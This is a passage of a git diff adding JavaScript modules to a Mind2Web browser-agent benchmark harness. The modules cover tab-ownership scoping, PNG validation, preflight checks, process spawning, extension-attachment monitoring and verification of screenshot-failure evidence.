screenshotPath, emitted_at: null, + model_image_detail: 'original', + }; + this.session.rememberFrame(receipt); + return { receipt, image: { ...png, _meta: { ...png._meta, 'codex/imageDetail': 'original' } }, metadata }; + } +} diff --git a/mind2web/harness/outcomes.mjs b/mind2web/harness/outcomes.mjs new file mode 100644 index 000000000..5e7069533 --- /dev/null +++ b/mind2web/harness/outcomes.mjs @@ -0,0 +1,7 @@ +export function deriveOutcome(result, execution) { + if (execution.timedOut) return 'timeout'; + if (!result) return execution.code === 127 ? 'never_started' : 'error'; + if (result.subtype === 'error_max_turns') return 'max_turns'; + if (result.is_error || result.subtype !== 'success' || execution.code !== 0) return 'error'; + return 'complete'; +} diff --git a/mind2web/harness/owned-task-session.mjs b/mind2web/harness/owned-task-session.mjs new file mode 100644 index 000000000..d77dd9736 --- /dev/null +++ b/mind2web/harness/owned-task-session.mjs @@ -0,0 +1,48 @@ +function textData(result) { + return (result?.content ?? []).filter(x => x.type === 'text').map(x => { try { return JSON.parse(x.text); } catch { return {}; } }); +} +export function ownedTabsFromResult(result) { + const data = textData(result); + const row = data.find(x => Array.isArray(x.tabs)); + if (result?.isError || !row || row.success === false) throw Object.assign(new Error('Authoritative scoped tab inventory failed'), { code: 'OWNED_INVENTORY_FAILED' }); + return row.tabs.map(tab => ({ ...tab, id: tab.id ?? tab.tabId ?? tab.tab_id })).filter(tab => Number.isInteger(tab.id)); +} + +export class OwnedTaskSession { + constructor({ maxTabs = 8 } = {}) { this.maxTabs = maxTabs; this.tabs = new Map(); this.selectedTabId = null; this.primaryTabId = null; this.frames = new Map(); this.foreign = new Map(); } + // The public release can list a task's popup while assigning it to another + // agent; such a tab can be read but never focused, targeted or closed here. + markForeign(id, nativeError) { + this.foreign.set(id, { tab_id: id, native_error: nativeError ?? null, marked_at: new Date().toISOString() }); + this.tabs.delete(id); this.frames.delete(id); + if (this.selectedTabId === id) this.selectedTabId = this.tabs.has(this.primaryTabId) ? this.primaryTabId : [...this.tabs.keys()][0] ?? null; + } + registerOpenedTab(id) { + if (!Number.isInteger(id) || id <= 0) throw new Error('FSB did not return an owned tab ID'); + this.tabs.set(id, { id }); this.selectedTabId = id; this.primaryTabId ??= id; + } + syncOwnedChildren(result) { + const rows = ownedTabsFromResult(result).filter(tab => !this.foreign.has(tab.id)); + this.tabs = new Map(rows.map(tab => [tab.id, tab])); + for (const id of this.frames.keys()) if (!this.tabs.has(id)) this.frames.delete(id); + if (!this.tabs.has(this.selectedTabId)) this.selectedTabId = this.tabs.has(this.primaryTabId) ? this.primaryTabId : rows[0]?.id ?? null; + return rows; + } + resolveTarget(args = {}, { allowForeign = false } = {}) { + if (args.tab_id !== undefined && args.tabId !== undefined && args.tab_id !== args.tabId) throw Object.assign(new Error('Conflicting tab targets'), { code: 'TAB_TARGET_CONFLICT' }); + const id = args.tab_id ?? args.tabId ?? this.selectedTabId; + if (this.foreign.has(id) && allowForeign) return id; + if (this.foreign.has(id)) throw Object.assign(new Error('FSB lists this tab but assigns it to another agent, so this task cannot focus, target or close it: ' + + (this.foreign.get(id).native_error ?? 'Tab ownership')), { code: 'PUBLIC_TAB_NOT_CONTROLLABLE' }); + if (!this.tabs.has(id)) throw Object.assign(new Error('Target tab is not owned by this task; use list_tabs to inspect owned children'), { code: 'TAB_NOT_OWNED' }); + return id; + } + selectTab(id) { this.resolveTarget({ tab_id: id }); this.selectedTabId = id; } + assertCanOpen() { if (this.tabs.size >= this.maxTabs) throw Object.assign(new Error(`This task is limited to ${this.maxTabs} owned tabs`), { code: 'TASK_TAB_LIMIT' }); } + assertCanClose(id) { + this.resolveTarget({ tab_id: id }); + if (this.tabs.size <= 1) throw Object.assign(new Error('Keep the last working tab open until task finalization'), { code: 'LAST_WORKING_TAB' }); + } + latestFrame(id) { return this.frames.get(id) ?? null; } + rememberFrame(receipt) { this.frames.set(receipt.tab_id, receipt); } +} diff --git a/mind2web/harness/png.mjs b/mind2web/harness/png.mjs new file mode 100644 index 000000000..9203dfb6b --- /dev/null +++ b/mind2web/harness/png.mjs @@ -0,0 +1,103 @@ +import { crc32, deflateSync, inflateSync } from 'node:zlib'; + +export const PNG_SIGNATURE = Buffer.from([0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a]); + +export function hasPngSignature(buf) { + return buf.length >= 8 && buf.subarray(0, 8).equals(PNG_SIGNATURE); +} + +// Walks the chunk list and checks lengths, CRCs, IHDR first and IEND last. +// Returns { ok, error, width, height }. +export function inspectPng(buf) { + if (buf.length === 0) return { ok: false, error: 'empty file' }; + if (!hasPngSignature(buf)) return { ok: false, error: 'missing PNG signature' }; + let offset = 8; + let width = null; + let height = null; + let first = true; + let sawIdat = false; + const compressed = []; + let depth, color, interlace; + while (offset < buf.length) { + if (offset + 12 > buf.length) return { ok: false, error: `truncated chunk header at byte ${offset}` }; + const length = buf.readUInt32BE(offset); + const type = buf.toString('latin1', offset + 4, offset + 8); + const end = offset + 12 + length; + if (end > buf.length) return { ok: false, error: `chunk ${type} overruns file` }; + const expected = buf.readUInt32BE(offset + 8 + length); + const actual = crc32(buf.subarray(offset + 4, offset + 8 + length)); + if (expected !== actual) return { ok: false, error: `bad CRC in chunk ${type}` }; + if (first) { + if (type !== 'IHDR' || length !== 13) return { ok: false, error: 'first chunk is not IHDR' }; + width = buf.readUInt32BE(offset + 8); + height = buf.readUInt32BE(offset + 12); + if (width === 0 || height === 0) return { ok: false, error: 'zero image dimensions' }; + if (width * height > 100_000_000) return { ok: false, error: 'image exceeds validation size limit' }; + depth = buf[offset + 16]; color = buf[offset + 17]; interlace = buf[offset + 20]; + if (!({ 0: [1, 2, 4, 8, 16], 2: [8, 16], 3: [1, 2, 4, 8], 4: [8, 16], 6: [8, 16] }[color]?.includes(depth)) || buf[offset + 18] || buf[offset + 19] || interlace > 1) return { ok: false, error: 'unsupported PNG header' }; + first = false; + } + if (type === 'IDAT') { sawIdat = true; compressed.push(buf.subarray(offset + 8, offset + 8 + length)); } + if (type === 'IEND') { + if (!sawIdat) return { ok: false, error: 'no IDAT chunk' }; + if (length !== 0 || end !== buf.length) return { ok: false, error: 'invalid IEND or trailing data' }; + try { + const raw = inflateSync(Buffer.concat(compressed), { maxOutputLength: 512_000_000 }); + const channels = { 0: 1, 2: 3, 3: 1, 4: 2, 6: 4 }[color]; + const stride = Math.ceil(width * depth * channels / 8) + 1; + if (!raw.length || (!interlace && raw.length !== height * stride)) return { ok: false, error: 'invalid PNG pixel data length' }; + if (!interlace) for (let row = 0; row < height; row++) if (raw[row * stride] > 4) return { ok: false, error: 'invalid PNG row filter' }; + } catch { return { ok: false, error: 'invalid compressed PNG data' }; } + return { ok: true, error: null, width, height }; + } + offset = end; + } + return { ok: false, error: 'missing IEND chunk' }; +} + +// Signature-level check for the non-PNG formats the schema allows. +export function inspectImage(buf, ext) { + const kind = ext.toLowerCase(); + if (kind === 'png') return inspectPng(buf); + if (buf.length === 0) return { ok: false, error: 'empty file' }; + if (kind === 'jpg' || kind === 'jpeg') { + const ok = buf.length > 4 && buf[0] === 0xff && buf[1] === 0xd8 && buf[buf.length - 2] === 0xff && buf[buf.length - 1] === 0xd9; + return ok ? { ok: true, error: null } : { ok: false, error: 'not a complete JPEG' }; + } + if (kind === 'webp') { + const ok = buf.length > 12 && buf.toString('latin1', 0, 4) === 'RIFF' && buf.toString('latin1', 8, 12) === 'WEBP'; + return ok ? { ok: true, error: null } : { ok: false, error: 'not a WEBP file' }; + } + return { ok: false, error: `unsupported image extension .${ext}` }; +} + +function chunk(type, data) { + const body = Buffer.concat([Buffer.from(type, 'latin1'), data]); + const length = Buffer.alloc(4); + length.writeUInt32BE(data.length); + const crc = Buffer.alloc(4); + crc.writeUInt32BE(crc32(body)); + return Buffer.concat([length, body, crc]); +} + +// Encodes a solid-colour 8-bit RGB PNG. Used to build fixtures. +export function encodeSolidPng(width, height, [r, g, b] = [255, 255, 255]) { + const ihdr = Buffer.alloc(13); + ihdr.writeUInt32BE(width, 0); + ihdr.writeUInt32BE(height, 4); + ihdr[8] = 8; + ihdr[9] = 2; + const row = Buffer.alloc(1 + width * 3); + for (let x = 0; x < width; x++) { + row[1 + x * 3] = r; + row[2 + x * 3] = g; + row[3 + x * 3] = b; + } + const raw = Buffer.concat(Array.from({ length: height }, () => row)); + return Buffer.concat([ + PNG_SIGNATURE, + chunk('IHDR', ihdr), + chunk('IDAT', deflateSync(raw)), + chunk('IEND', Buffer.alloc(0)), + ]); +} diff --git a/mind2web/harness/preflight.mjs b/mind2web/harness/preflight.mjs new file mode 100644 index 000000000..edbfc0a6f --- /dev/null +++ b/mind2web/harness/preflight.mjs @@ -0,0 +1,57 @@ +import { access, readdir, statfs } from 'node:fs/promises'; +import { existsSync } from 'node:fs'; +import { homedir } from 'node:os'; +import path from 'node:path'; +import { fileURLToPath } from 'node:url'; +import { isDatasetCached, localHfToken } from './dataset.mjs'; +import { runCommand, RESULTS_DIR } from './proc.mjs'; + +export async function findChrome() { + const root = path.join(homedir(), '.cache/puppeteer/chrome'); + const candidates = ['/Applications/Google Chrome for Testing.app/Contents/MacOS/Google Chrome for Testing']; + try { + for (const version of (await readdir(root)).sort((a, b) => b.localeCompare(a, undefined, { numeric: true }))) { + candidates.push(path.join(root, version, 'chrome-mac-arm64/Google Chrome for Testing.app/Contents/MacOS/Google Chrome for Testing')); + } + } catch {} + for (const candidate of candidates) { try { await access(candidate); return candidate; } catch {} } + return null; +} +export async function bridgeStatus(command, run = runCommand) { + const args = command.at(-1) === 'stdio' ? command.slice(1, -1) : command.slice(1); + const result = await run(command[0], [...args, 'status'], { timeoutMs: 20_000 }); + return { ok: result.code === 0 && /^Ext: yes$/m.test(result.stdout), detail: result.stdout.trim() || result.stderr.trim(), code: result.code }; +} + +export async function preflight({ full = false, minGb = full ? 15 : 2, chromePath, datasetPath, run = runCommand, filesystem = statfs, token, + browserMode = 'isolated', driver = 'claude', serverCommand, checkDataset = true, checkJudges = false } = {}) { + const nativeEntry = path.join(homedir(), '.fsb/native-host/runtime/package/build/index.js'); + serverCommand ??= browserMode === 'existing' && existsSync(nativeEntry) ? [process.execPath, nativeEntry, 'stdio'] : ['npx', '-y', 'fsb-mcp-server@0.11.2', 'stdio']; + const checks = []; + if (browserMode === 'existing') checks.push({ name: 'extension', ...await bridgeStatus(serverCommand, run) }); + else { + const listeners = await run('lsof', ['-nP', '-iTCP:7225', '-iTCP:7226', '-sTCP:LISTEN']); + checks.push({ name: 'bridge_ports', ok: listeners.code === 1 && !listeners.stdout.trim(), detail: listeners.stdout.trim() || listeners.stderr.trim() || 'Ports 7225 and 7226 are free' }); + } + try { + const info = await filesystem(RESULTS_DIR); + const gb = info.bavail * info.bsize / 1e9; + checks.push({ name: 'disk', ok: gb >= minGb, detail: `${gb.toFixed(2)} GB free; ${minGb} GB required` }); + } catch (err) { checks.push({ name: 'disk', ok: false, detail: err.message }); } + for (const command of checkJudges ? ['claude', 'codex'] : [driver === 'codex' ? 'codex' : 'claude']) { + const r = await run(command, ['--version']); + checks.push({ name: command, ok: r.code === 0, detail: r.stdout.trim() || r.stderr.trim() }); + } + const chrome = browserMode === 'isolated' ? chromePath ?? await findChrome() : null; + let chromeExists = false; + try { if (chrome) { await access(chrome); chromeExists = true; } } catch {} + if (browserMode === 'isolated') checks.push({ name: 'chrome_for_testing', ok: chromeExists && chrome.includes('Chrome for Testing'), detail: chrome ?? 'Install Chrome for Testing or pass --chrome ' }); + token ??= await localHfToken(); + if (checkDataset) checks.push({ name: 'dataset', ok: !!datasetPath || isDatasetCached() || !!token, detail: datasetPath ?? (isDatasetCached() ? 'Pinned dataset cached' : token ? 'Local HF credentials available' : 'Accept the dataset terms and sign in with hf auth login or export HF_TOKEN') }); + return { ok: checks.every(c => c.ok), checks, chromePath: chrome }; +} +if (process.argv[1] && path.resolve(process.argv[1]) === fileURLToPath(import.meta.url)) { + const report = await preflight({ full: process.argv.includes('--full'), browserMode: process.argv.includes('--existing-browser') ? 'existing' : 'isolated', driver: process.argv.includes('--codex') ? 'codex' : 'claude' }); + console.log(JSON.stringify(report, null, 2)); + if (!report.ok) process.exitCode = 1; +} diff --git a/mind2web/harness/proc.mjs b/mind2web/harness/proc.mjs new file mode 100644 index 000000000..728212f28 --- /dev/null +++ b/mind2web/harness/proc.mjs @@ -0,0 +1,65 @@ +import { spawn } from 'node:child_process'; +import { fileURLToPath } from 'node:url'; + +export const BENCH_ROOT = fileURLToPath(new URL('..', import.meta.url)).replace(/\/$/, ''); +export const CACHE_DIR = `${BENCH_ROOT}/cache`; +export const RESULTS_DIR = `${BENCH_ROOT}/results`; +export const CONFIG_DIR = `${BENCH_ROOT}/config`; +export const HARNESS_DIR = `${BENCH_ROOT}/harness`; +export const REPO_ROOT = fileURLToPath(new URL('../..', import.meta.url)).replace(/\/$/, ''); + +// Runs a command to completion and never throws: a missing binary comes back +// as code 127 so callers (and test doubles) see one shape for every failure. +export function killGroup(child, signal = 'SIGTERM') { + if (!child?.pid) return; + try { process.kill(-child.pid, signal); } catch { try { child.kill(signal); } catch {} } +} + +export function runCommand(cmd, args = [], { input, timeoutMs = 30_000, env, cwd, onStdout, onStderr, capture = true, signal } = {}) { + return new Promise((resolve) => { + let child; + try { + child = spawn(cmd, args, { env: env ?? process.env, cwd, detached: true, stdio: ['pipe', 'pipe', 'pipe'] }); + } catch (err) { + resolve({ code: 127, stdout: '', stderr: String(err.message || err) }); + return; + } + let stdout = ''; + let stderr = ''; + child.stdout.setEncoding('utf8'); + child.stderr.setEncoding('utf8'); + let settled = false; + let timedOut = false; + const abort = () => killGroup(child, 'SIGKILL'); + signal?.addEventListener('abort', abort, { once: true }); + if (signal?.aborted) abort(); + const timer = setTimeout(() => { + timedOut = true; + killGroup(child, 'SIGKILL'); + }, timeoutMs); + child.stdout.on('data', (d) => { if (capture) stdout += d; onStdout?.(d); }); + child.stderr.on('data', (d) => { if (capture) stderr += d; onStderr?.(d); }); + child.stdin.on('error', () => {}); + child.on('error', (err) => { + if (settled) return; + settled = true; + clearTimeout(timer); + signal?.removeEventListener('abort', abort); + resolve({ code: err.code === 'ENOENT' ? 127 : 1, stdout, stderr: stderr || String(err.message || err) }); + }); + child.on('close', (code, closeSignal) => { + if (settled) return; + settled = true; + clearTimeout(timer); + signal?.removeEventListener('abort', abort); + killGroup(child, 'SIGTERM'); + resolve({ code: code ?? (closeSignal ? 128 : 1), stdout, stderr, signal: closeSignal, timedOut }); + }); + if (input !== undefined) child.stdin.end(input); + else child.stdin.end(); + }); +} + +export function isoNow() { + return new Date().toISOString(); +} diff --git a/mind2web/harness/public-attachment-monitor.mjs b/mind2web/harness/public-attachment-monitor.mjs new file mode 100644 index 000000000..d2ec12847 --- /dev/null +++ b/mind2web/harness/public-attachment-monitor.mjs @@ -0,0 +1,79 @@ +import { spawn } from 'node:child_process'; +import { isDeepStrictEqual } from 'node:util'; + +const problem = () => Object.assign(new Error('Public extension attachment changed or monitoring is unverified'), { code: 'PUBLIC_ATTACHMENT_CHANGED' }); +// The installed extension's identity. connectedAt changes on every WebSocket +// reconnect of the same install, so it is recorded but never latched. +export const ATTACHMENT_IDENTITY = Object.freeze(['extensionId', 'extensionVersion', 'installInstanceId']); +export const attachmentIdentity = attachment => attachment && Object.fromEntries(ATTACHMENT_IDENTITY.map(key => [key, attachment[key]])); + +/** Read-only stock CLI observations. Raw diagnostic output is never exposed or saved. */ +export class PublicAttachmentMonitor { + constructor({ command, expected, intervalMs = 500, maxAgeMs = 5000, reconnectGraceMs = 60_000, now = Date.now, spawnProcess = spawn }) { + if (!Array.isArray(command) || command.length !== 3 || command[2] !== 'stdio' || !expected + || !Number.isFinite(maxAgeMs) || maxAgeMs < intervalMs) throw new Error('Invalid public attachment monitor options'); + this.expected = attachmentIdentity(expected); this.now = now; this.maxAgeMs = maxAgeMs; this.latest = null; + this.reconnectGraceMs = Math.max(maxAgeMs, reconnectGraceMs); this.connectedAt = expected.connectedAt ?? null; + this.waiters = new Set(); this.fault = null; this.closed = false; this.pending = ''; + this.stats = { interval_ms: intervalMs, max_observation_age_ms: maxAgeMs, reconnect_grace_ms: this.reconnectGraceMs, + disconnected_observations: 0, reconnects: [], updates: 0, stderr_bytes_discarded: 0, + raw_diagnostics_recorded: false, model_calls: 0, browser_mutations: 0 }; + this.child = spawnProcess(command[0], [command[1], 'status', '--watch', '--json', '--interval', String(intervalMs)], { stdio: ['ignore', 'pipe', 'pipe'] }); + this.finished = new Promise(resolve => this.child.once('close', resolve)); + this.child.once('error', () => this.fail()); + this.child.once('close', () => { if (!this.closed) this.fail(); }); + this.child.stderr.on('data', bytes => { this.stats.stderr_bytes_discarded += bytes.length; }); + this.child.stdout.on('data', bytes => this.consume(bytes)); + } + fail() { + this.fault ??= problem(); + for (const waiter of this.waiters) { clearTimeout(waiter.timer); waiter.reject(this.fault); } + this.waiters.clear(); + } + consume(bytes) { + if (this.closed || this.fault) return; + this.pending += bytes; + if (this.pending.length > 2_000_000) return this.fail(); + const lines = this.pending.split('\n'); this.pending = lines.pop(); + for (const line of lines) { + if (!line.trim()) continue; + let value; try { value = JSON.parse(line); } catch { this.fail(); return; } + const source = value.extensionAttachment; + if (value.extensionConnected !== true || !source) { + // A disconnected observation holds dispatch until the same install reconnects. + this.latest = null; this.stats.disconnected_observations++; continue; + } + const attachment = attachmentIdentity(source); + if (!isDeepStrictEqual(attachment, this.expected)) { this.fail(); return; } + if (source.connectedAt !== this.connectedAt) { + this.stats.reconnects.push({ observed_at: new Date(this.now()).toISOString(), previous_connected_at: this.connectedAt, connected_at: source.connectedAt }); + this.connectedAt = source.connectedAt; + } + const at = this.now(); this.latest = { at, attachment, connectedAt: source.connectedAt }; this.stats.updates++; + this.stats.first_observed_at ??= new Date(at).toISOString(); this.stats.last_observed_at = new Date(at).toISOString(); + for (const waiter of this.waiters) { clearTimeout(waiter.timer); waiter.resolve({ ok: true }); } + this.waiters.clear(); + } + } + async beforeDispatch({ timeoutMs = this.reconnectGraceMs } = {}) { + if (this.closed || this.fault) throw this.fault ?? problem(); + if (this.latest && this.now() - this.latest.at >= 0 && this.now() - this.latest.at <= this.maxAgeMs) return { ok: true }; + return new Promise((resolve, reject) => { + const waiter = { resolve, reject }; + waiter.timer = setTimeout(() => { this.waiters.delete(waiter); this.fail(); reject(this.fault); }, timeoutMs); + this.waiters.add(waiter); + }); + } + async close() { + if (this.closed) return this.receipt; + this.closed = true; + for (const waiter of this.waiters) { clearTimeout(waiter.timer); waiter.reject(problem()); } + this.waiters.clear(); this.child.kill('SIGTERM'); + const timer = setTimeout(() => this.child.kill('SIGKILL'), 2500); + const code = await this.finished.finally(() => clearTimeout(timer)); + this.receipt = { ...this.stats, attachment: this.expected, continuity_ok: !this.fault, + monitor_closed: true, exit_code: code, ended_at: new Date(this.now()).toISOString(), + limitations: 'Connection continuity is observed at the stated interval, not atomically attested for every native operation. The public owned-tab checks remain authoritative for dispatch.' }; + return this.receipt; + } +} diff --git a/mind2web/harness/public-benchmark.mjs b/mind2web/harness/public-benchmark.mjs new file mode 100644 index 000000000..dcc3e286e --- /dev/null +++ b/mind2web/harness/public-benchmark.mjs @@ -0,0 +1,58 @@ +import { readFile, writeFile } from 'node:fs/promises'; +import path from 'node:path'; +import { fileURLToPath } from 'node:url'; +import { parseArgs } from 'node:util'; +import { runRepairBenchmark } from './repair-benchmark.mjs'; +import { capturePublicSources, verifyPublicPins } from './public-provenance.mjs'; +import { PublicAttachmentMonitor } from './public-attachment-monitor.mjs'; +import { publicLiveGate, verifyPublicLocalGateEvidence } from './public-live-gate.mjs'; +import { DEFAULT_CIRCUIT } from './manual-runner.mjs'; + +/** The orchestration and recorder are external to the unchanged public product. */ +export async function runPublicBenchmark({ publicPins, dependencies = {}, ...options }) { + await verifyPublicPins(publicPins); + const monitor = new PublicAttachmentMonitor({ command: options.serverCommand, expected: publicPins.attachment }); + try { + await monitor.beforeDispatch({ timeoutMs: 15_000 }); + return await runRepairBenchmark({ ...options, publicRelease: true, publicPins, dependencies: { + captureSources: capturePublicSources, + localGate: gateOptions => publicLiveGate({ ...gateOptions, beforePublicDispatch: () => monitor.beforeDispatch() }), + verifyLocalEvidence: verifyPublicLocalGateEvidence, + beforePublicDispatch: () => monitor.beforeDispatch(), ...dependencies, + } }); + } finally { + const receipt = await monitor.close(); + const configured = options.outputDir && await readFile(path.join(options.outputDir, 'pipeline.json')).catch(error => { if (error.code === 'ENOENT') return null; throw error; }); + if (configured) { + await writeFile(path.join(options.outputDir, `public-attachment-monitor-${Date.now()}.json`), JSON.stringify(receipt, null, 2) + '\n', { flag: 'wx' }); + } + } +} + +export async function runPublicCLI(argv = process.argv.slice(2)) { + const { values } = parseArgs({ args: argv, options: { + 'extension-dir': { type: 'string' }, output: { type: 'string' }, 'full-run-id': { type: 'string' }, + 'fsb-server-cmd': { type: 'string' }, 'public-pins': { type: 'string' }, + 'circuit-state': { type: 'string', default: DEFAULT_CIRCUIT }, resume: { type: 'boolean', default: false }, + 'no-wait-resources': { type: 'boolean', default: false }, + } }); + if (!values['public-pins'] || !values['fsb-server-cmd']) throw new Error('Explicit --public-pins and --fsb-server-cmd are required'); + const publicPins = JSON.parse(await readFile(values['public-pins'], 'utf8')); + const controller = new AbortController(); let drain = false; + const abort = () => controller.abort(), stopNew = () => { drain = true; }; + process.once('SIGINT', abort); process.once('SIGTERM', abort); process.once('SIGUSR2', stopNew); + try { + const result = await runPublicBenchmark({ extensionDir: values['extension-dir'], outputDir: values.output, + fullRunId: values['full-run-id'], serverCommand: JSON.parse(values['fsb-server-cmd']), publicPins, + circuitState: values['circuit-state'], resume: values.resume, waitResources: !values['no-wait-resources'], + signal: controller.signal, shouldStop: () => drain }); + process.exitCode = result.state === 'complete' ? 0 : result.state === 'paused_health' ? 1 : 75; + return result; + } finally { + process.removeListener('SIGINT', abort); process.removeListener('SIGTERM', abort); process.removeListener('SIGUSR2', stopNew); + } +} + +if (process.argv[1] && path.resolve(process.argv[1]) === fileURLToPath(import.meta.url)) { + runPublicCLI().catch(error => { console.error(JSON.stringify({ state: 'paused_health', code: error.code ?? error.name, error: error.message })); process.exitCode = 1; }); +} diff --git a/mind2web/harness/public-disposition.mjs b/mind2web/harness/public-disposition.mjs new file mode 100644 index 000000000..4ed08984f --- /dev/null +++ b/mind2web/harness/public-disposition.mjs @@ -0,0 +1,162 @@ +import { readFile, lstat } from 'node:fs/promises'; +import path from 'node:path'; +import { createHash } from 'node:crypto'; +import { isDeepStrictEqual } from 'node:util'; +import { inspectPng } from './png.mjs'; + +const sha = bytes => createHash('sha256').update(bytes).digest('hex'); +const fail = message => { throw new Error('Invalid public native-failure evidence: ' + message); }; +const CAPTURE_CODES = new Set(['SCREENSHOT_CAPTURE_FAILED', 'SCREENSHOT_TARGET_NOT_FOUND', 'SCREENSHOT_REGION_OUT_OF_BOUNDS', 'SCREENSHOT_TOO_LARGE', 'INVALID_SCREENSHOT_ARGUMENTS', 'PAGE_UNRESPONSIVE']); +// The public release reports a capture timeout on a busy page as plain diagnostic text. +const FSB_DIAGNOSTIC = /^Detected: [^\n]+\nWhy: /; +const UNRESPONSIVE_TEXT = /^Detected: Page responsiveness\b[\s\S]*did not respond before the (?:capture|page-read) deadline/; +export function publicNativeCaptureFailure(result) { + if (result?.isError !== true || !Array.isArray(result.content) || !result.content.length) return null; + const rows = []; + for (const block of result.content) { + if (block.type !== 'text' || typeof block.text !== 'string') return null; + try { rows.push(JSON.parse(block.text)); } + catch { + // Only the release's own diagnostic format; other unparsed text stays ambiguous. + if (!FSB_DIAGNOSTIC.test(block.text)) return null; + rows.push(UNRESPONSIVE_TEXT.test(block.text) ? { success: false, code: 'PAGE_UNRESPONSIVE', text: block.text } : { success: false, text: block.text }); + } + } + // Any settled capture refusal is a task outcome; the guard health capture that + // must follow proves the browser itself still captures before collection continues. + if (rows.some(row => !row || typeof row !== 'object' || row.success === true || !(row.success === false || row.error || row.code || row.text))) return null; + if (/"(?:cleanup_pending|in_flight)"\s*:\s*true|TAB_NOT_OWNED|TAB_OUT_OF_SCOPE|AGENT_NOT_REGISTERED|BAD_TOKEN|PUBLIC_|bridge.disconnected|extension_not_connected|quota|rate.limit|server.exited|transport|socket|connection.*(?:lost|closed|failed)/i.test(JSON.stringify(rows))) return null; + const code = rows[0].code ?? rows[0].errorCode; + return { response_sha256: sha(JSON.stringify(result)), code: CAPTURE_CODES.has(code) ? code : code ? String(code) : 'PUBLIC_CAPTURE_FAILED', result: structuredClone(result) }; +} +// The guard plus only the listed popups FSB assigned to another agent, each of +// which the harness then closed by exact Chrome tab ID. +function guardWithForeign(ids, drain, cleanup) { + if (!Array.isArray(ids)) return false; + const foreign = [...(drain.foreign_tab_ids ?? [])].sort((a, b) => a - b); + if (foreign.length && (cleanup.foreign_tab_closure?.ok !== true || foreign.some(id => !cleanup.foreign_tab_closure.closed?.includes(id)) + || foreign.some(id => !cleanup.foreign_tabs?.some(row => row.tab_id === id)))) return false; + return JSON.stringify([...ids].sort((a, b) => a - b)) === JSON.stringify([drain.guard_tab_id, ...foreign].sort((a, b) => a - b)); +} +const within = (root, file) => { + const relative = path.relative(root, file); + return relative && relative !== '..' && !relative.startsWith('..' + path.sep) && !path.isAbsolute(relative); +}; + +async function descriptorBytes(root, descriptor, basename) { + if (!descriptor || !path.isAbsolute(descriptor.path ?? '') || !within(root, descriptor.path) + || basename && path.basename(descriptor.path) !== basename || !Number.isInteger(descriptor.bytes) + || !/^[0-9a-f]{64}$/.test(descriptor.sha256 ?? '')) fail('file descriptor'); + let cursor = descriptor.path; + while (cursor !== root) { + if ((await lstat(cursor)).isSymbolicLink()) fail('symlinked artifact'); + cursor = path.dirname(cursor); + } + const bytes = await readFile(descriptor.path); + if (bytes.length !== descriptor.bytes || sha(bytes) !== descriptor.sha256) fail('artifact changed'); + return bytes; +} + +/** A native capture failure is a measured product outcome only after separate + * cleanup and a successful guard health observation. It is never a page frame. */ +export async function verifyPublicDisposition(rawDir, final) { + const proof = final?.public_disposition; + if (!proof) return null; + rawDir = path.resolve(rawDir); + if (proof.version !== 1 || proof.kind !== 'public_native_failure' || proof.native_result_verified !== true + || proof.cleanup_verified !== true || proof.health_verified !== true || proof.missing_frame !== true + || typeof proof.effect_unknown !== 'boolean' || final.cleanup_ok !== true || final.uncertain_upstream + || final.queue_expiries || !final.fault || !isDeepStrictEqual(proof.original_fault, final.fault)) fail('disposition or terminal state'); + const native = proof.native_error; + if (!native || native.tool !== 'capture_screenshot' || typeof native.operation_id !== 'string' + || !/^[0-9a-f]{64}$/.test(native.response_sha256 ?? '') || typeof native.code !== 'string' || !native.code) fail('native response binding'); + const stepsBytes = await readFile(path.join(rawDir, 'steps.jsonl')); + if (!stepsBytes.toString().endsWith('\n')) fail('incomplete operation log'); + const steps = stepsBytes.toString().split('\n').filter(Boolean).map(JSON.parse); + const matching = steps.filter(step => step.operation_id === native.operation_id && step.native_capture_result); + if (matching.length !== 1 || matching[0].frame_receipt || matching[0].screenshot_path) fail('missing or substituted failure frame'); + if (proof.effect_unknown !== (matching[0].execution_outcome === 'unknown') || proof.original_fault?.seq !== matching[0].seq + || proof.original_fault?.code !== 'CAPTURE_FAILED') fail('original operation outcome differs'); + const response = matching[0].native_capture_result; + if (sha(JSON.stringify(response)) !== native.response_sha256) fail('native response changed'); + const checkedResponse = publicNativeCaptureFailure(response); + if (!checkedResponse || checkedResponse.code !== native.code) fail('native error is not authoritative'); + const cleanup = JSON.parse(await descriptorBytes(rawDir, proof.cleanup_evidence, 'childcleanup.json')); + const health = JSON.parse(await descriptorBytes(rawDir, proof.health_evidence, 'public-health.json')); + const drain = cleanup.public_guard_drain, disposal = cleanup.public_guard_disposal, + shutdown = cleanup.public_client_shutdown; + if (cleanup.cleanup_ok !== true || cleanup.ok !== true || drain?.ok !== true || disposal?.ok !== true + || disposal.closed !== true || disposal.post_close_inventory_requested !== false + || shutdown?.cleanup_ok !== true || shutdown.client_closed !== true || shutdown.guard_server_closed !== true + || shutdown.guard_disposed !== true || shutdown.guard_prepared !== true || shutdown.guard_close_attempted !== true + || !Number.isInteger(drain.guard_tab_id) || drain.guard_tab_id < 1 + || disposal.guard_tab_id !== drain.guard_tab_id || shutdown.guard_tab_id !== drain.guard_tab_id + || !Array.isArray(drain.task_tab_ids) || drain.task_tab_ids.length + || !guardWithForeign(drain.inventory?.tab_ids, drain, cleanup) || !guardWithForeign(disposal.prior_inventory?.tab_ids, drain, cleanup)) fail('owned cleanup was not verified'); + for (const receipt of [drain, disposal, shutdown]) if (receipt.adapter_version !== 'public-release-guard-v1') fail('unknown adapter protocol'); + if (drain.method !== 'public_guard_only_inventory' || disposal.method !== 'public_exact_guard_close_ack_after_guard_only_inventory' + || shutdown.method !== disposal.method || disposal.private_registry_drain_attested !== false || shutdown.private_registry_drain_attested !== false) fail('unsupported cleanup method'); + const closedIds = new Set(); + if (!Array.isArray(cleanup.closes)) fail('task close inventory'); + for (const close of cleanup.closes) { + const row = close.result?.[0], id = close.tab_id; + if (!Number.isInteger(id) || id < 1 || id === drain.guard_tab_id || closedIds.has(id)) fail('task close acknowledgement'); + closedIds.add(id); + if (close.foreign_owned === true) continue; + // An unacknowledged FSB close is accepted only when the exact-ID fallback closed that tab. + if (close.method === 'osascript_exact_tab_id_after_unacknowledged_close') { + if (close.ok !== true || close.osascript_fallback?.ok !== true || !close.osascript_fallback.closed?.includes(id)) fail('task close fallback'); + continue; + } + if (close.ok !== true || !Array.isArray(close.result) || close.result.length !== 1 || row?.success !== true || row.closed !== true + || (row.tab_id ?? row.tabId ?? row.id) !== id) fail('task close acknowledgement'); + } + if (health.ok !== true || health.read_verified !== true || health.not_actor_frame !== true || 